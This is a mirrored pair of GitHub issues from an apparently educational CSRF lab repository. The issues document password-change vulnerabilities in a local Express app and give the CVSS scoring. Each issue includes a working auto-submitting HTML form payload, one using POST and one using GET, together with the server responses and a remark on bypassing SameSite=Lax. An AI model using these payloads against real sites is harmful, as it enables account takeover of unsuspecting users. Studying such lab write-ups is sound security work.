Giter Site home page Giter Site logo

csrf's People

Contributors

realarcherl avatar

Stargazers

 avatar

Watchers

 avatar

csrf's Issues

CSRF vulnerabliity to do account takeovers

Simple CSRF

This issue arises because of the following reasons:

  1. Cookies are not protected (SameSite also all the other defenses are disabled)
  2. Cookie-based session handling
  3. No unpredictable parameters.

Payload used:

<html>
<head>
	<title>Simple CSRF</title>
</head>

<body>
	<!-- sending the request to vulnerable website to change the password -->
	<h1>Hacked!</h1>
	<form action="http://localhost:3000/changepass" method="POST">
		<input type="hidden" name="password" value="archerl" />
		<input type="hidden" name="confirm_password" value="archerl" />
	</form>
	<script>
		document.forms[0].submit();
	</script>
</body>

</html>

Hosting the web page using a simple Python server: python3 -m http.server 1337 the response would be:

HTTP/1.1 302 Found
X-Powered-By: Express

CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H (8.0) in this case, which is debatable.

Exploit

The web page comes, loads up for a Second, and then redirects to the /changepass

image

The password is changed, and we can notice a 302 redirect which means the password was changed.
Notice how the cookies are attached with the request sent from csrf_post.html
image

Proof that the values were changed: (using Prisma Studio here)
image

CSRF vulnerabliity to do account takeovers (GET based)

Simple CSRF

This issue arises because of the following reasons:

  1. Cookies are not protected (SameSite also all the other defenses are disabled)
  2. Cookie-based session handling
  3. No unpredictable parameters.

Payload used:

<html>
	<head>
		<title>
			CSRF GET
		</title>
	</head>
	<body>
		<!-- sending the request to vulnerable website to change the password -->
		<h1>Hacked!</h1>
		<form action="http://localhost:3000/get/getchangepass" method="GET">
			<input type="hidden" name="password" value="1234" />
			<input type="hidden" name="confirm_password" value="1234" />
		</form>
		<script>
			document.forms[0].submit();
		</script>
	</body>
</html>

Hosting the web page using a simple Python server: python3 -m http.server 1337 the response would be:

HTTP/1.1 302 Found
X-Powered-By: Express

CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H (8.0) in this case, which is debatable.

Exploit

The web page comes, loads up for a Second, and then redirects to the get/getchangepass
image

The password is changed, and we can notice a 302 redirect which means the password was changed.
Notice how the cookies are attached with the request sent from csrf_get.html
image

Even with SameSite=Lax, any sensitive operation performed via GET (if GET is vulnerable to CSRF) remains at risk.

The same exploit would work, even if we use the /defense1/login which sets the cookies with the property of SameSite=Lax

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.